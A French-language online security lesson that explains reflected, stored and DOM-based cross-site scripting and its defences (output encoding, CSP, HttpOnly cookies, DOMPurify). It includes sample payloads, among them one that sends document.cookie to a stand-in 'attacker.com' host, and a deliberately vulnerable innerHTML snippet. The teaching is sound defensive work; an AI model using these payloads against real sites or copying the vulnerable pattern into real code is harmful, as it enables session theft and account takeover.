Cyber Security Academy · Leçon

Cross-Site Scripting (XSS)

Découvrez les XSS réfléchies, stockées et fondées sur le DOM à l’aide de charges utiles réelles et de mesures d’atténuation CSP.

Leçon 2 sur 413 étapes

Cross-Site Scripting (XSS) est une leçon Cyber Security Academy gratuite sur CoddyKit. Ceci est la leçon 2 sur 4. Tu peux lire la leçon complète ci-dessous gratuitement — puis la pratiquer en direct dans le navigateur avec un éditeur de code intégré et un tuteur IA 24/7. Elle fait partie du parcours d'apprentissage Cyber Security Academy, et ta progression se synchronise sur le web et l'application CoddyKit. Le cours Cyber Security Academy comprend 4 leçons au total.

Qu'est-ce que XSS ?

Injection de scripts intersites (XSS) se produit lorsqu'un attaquant injecte du JavaScript malveillant dans une page web consultée par d'autres utilisateurs. Le navigateur exécute le script dans le contexte de la session de la victime, ce qui permet de voler des cookies, d'enregistrer les frappes au clavier et de modifier la page.

XSS réfléchi

XSS réfléchi (non persistant) : le script malveillant est inclus dans la requête (par exemple, un paramètre d'URL) et renvoyé dans la réponse. La victime doit cliquer sur un lien spécialement conçu. Exemple : https://site.com/search?q=<script>alert(1)</script>

XSS stocké

XSS stocké (persistant) : le script malveillant est enregistré dans la base de données (par exemple, dans un commentaire ou un champ de profil), puis servi à chaque visiteur. Il est plus dangereux que le XSS réfléchi, car aucun lien spécial n'est nécessaire : chaque affichage de la page déclenche le script.

XSS fondé sur le DOM

XSS fondé sur le DOM se produit lorsque JavaScript lit des données contrôlées par l'attaquant (fragment d'URL, paramètre de requête) et les écrit dans le DOM sans les assainir. L'attaque se déroule entièrement côté client ; le serveur ne voit jamais la charge utile.

// Vulnerable code:
document.getElementById("msg").innerHTML = location.hash.slice(1);
// Attack URL: https://site.com/page#<img src=x onerror=alert(1)>

Conséquences du XSS

Ce qu'un attaquant peut faire avec XSS :

  • Voler les cookies de session (document.cookie) → prendre le contrôle du compte
  • Enregistrer les frappes au clavier (voler les mots de passe au moment de leur saisie)
  • Rediriger vers des sites d'hameçonnage
  • Effectuer des actions à la place de la victime (CSRF via XSS)
  • Défigurer la page

Charges utiles XSS

Charges utiles de test simples :

<script>alert(document.cookie)</script>
<img src=x onerror="fetch('https://attacker.com/?c='+document.cookie)">
<svg onload=alert(1)>

Encodage de la sortie

La principale défense consiste à encoder toutes les sorties contrôlées par l'utilisateur avant de les insérer dans HTML. Convertissez les caractères spéciaux en entités HTML : < → &lt;, > → &gt;, " → &quot;.

Utilisez un encodage adapté au contexte : HTML, JS, URL, CSS.

Politique de sécurité du contenu (CSP)

CSP est un en-tête de réponse qui indique au navigateur quels scripts sont autorisés à s'exécuter. Une CSP stricte bloque les scripts intégrés et limite les sources :

# Response header:
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com;
# Blocks all inline JS and scripts from unauthorized domains

Cookies HttpOnly

La définition de l'indicateur HttpOnly sur les cookies de session empêche JavaScript de les lire via document.cookie. Même si un XSS se déclenche, l'attaquant ne peut pas voler le jeton de session. Il s'agit de la couche d'atténuation la plus importante avec l'encodage de la sortie.

Bibliothèques d'assainissement

Lorsque les utilisateurs doivent être autorisés à saisir du HTML (par exemple, dans des éditeurs de texte enrichi), utilisez une bibliothèque d'assainissement plutôt que d'écrire la vôtre :

  • DOMPurify (JavaScript)
  • bleach (Python)
  • OWASP Java HTML Sanitizer

Tests XSS

Testez la présence de XSS avec les outils de développement du navigateur, Burp Suite ou des analyseurs automatisés. Vérifiez tous les champs de saisie utilisateur, les paramètres d'URL, les en-têtes HTTP et les fonctions puits du DOM : innerHTML, document.write, eval, setTimeout avec des arguments de type chaîne.

Vérification rapide : XSS

Quel type de XSS stocke la charge utile malveillante dans la base de données, ce qui provoque son exécution pour chaque visiteur de la page concernée ?

Récapitulatif de la leçon

XSS injecte du JavaScript dans les pages consultées par les victimes. Types : réfléchi (fondé sur l'URL), stocké (persistant dans la base de données) et fondé sur le DOM (côté client). Principales défenses : encodage de la sortie, cookies HttpOnly et politique de sécurité du contenu. Utilisez DOMPurify pour assainir le HTML. N'insérez jamais de données utilisateur non assainies dans innerHTML ou eval().

Gratuit pour commencer

Apprends Cyber Security Academy avec un tuteur IA — gratuit

Écris et exécute du vrai code dans ton navigateur, obtiens de l'aide instantanée d'un tuteur IA disponible 24h/24, et reprends là où tu t'es arrêté sur le web ou dans l'app.

Cours
76
Leçons
303

Questions Fréquemment Posées

La leçon « Cross-Site Scripting (XSS) » est-elle gratuite ?

Oui — le texte complet de « Cross-Site Scripting (XSS) » est gratuit à lire ici sur le web. Pour la pratiquer de manière interactive (un éditeur de code intégré et un tuteur IA 24/7) et déverrouiller le reste du cours Cyber Security Academy, passe à CoddyKit PRO. Le cours Cyber Security Academy comprend 4 leçons au total.

Qu'est-ce que j'apprendrai dans « Cross-Site Scripting (XSS) » ?

Découvrez les XSS réfléchies, stockées et fondées sur le DOM à l’aide de charges utiles réelles et de mesures d’atténuation CSP. Tu pratiques Cyber Security Academy avec du code pratique que tu exécutes directement dans le navigateur, et un tuteur IA 24/7 répond à tes questions au fur et à mesure que tu avances dans la leçon.

Dois-je avoir de l'expérience pour commencer Cyber Security Academy ?

Aucune expérience préalable n'est requise. Cyber Security Academy sur CoddyKit est structuré pour les débutants jusqu'aux apprenants avancés, donc tu peux commencer ici ou depuis le début et avancer à ton rythme. Ceci est la leçon 2 sur 4.

Combien de temps prend la leçon « Cross-Site Scripting (XSS) » ?

La plupart des leçons CoddyKit prennent environ 5–10 minutes. Chacune est courte et interactive, tu progresses régulièrement et tu repiques exactement où tu t'es arrêté sur le web et l'app.

Peux-tu écrire et exécuter du code dans cette leçon Cyber Security Academy ?

Oui. Chaque leçon Cyber Security Academy inclut un éditeur de code intégré, tu écris et exécutes du vrai code directement dans ton navigateur et tu reçois des retours IA instantanés — aucune configuration locale requise.

Toutes les leçons de ce cours

  1. Injection SQL : comment et pourquoi elle fonctionne
  2. Cross-Site Scripting (XSS)
  3. Cross-Site Request Forgery (CSRF)
  4. Mauvaise configuration de sécurité et services exposés
← Retour à Cyber Security Academy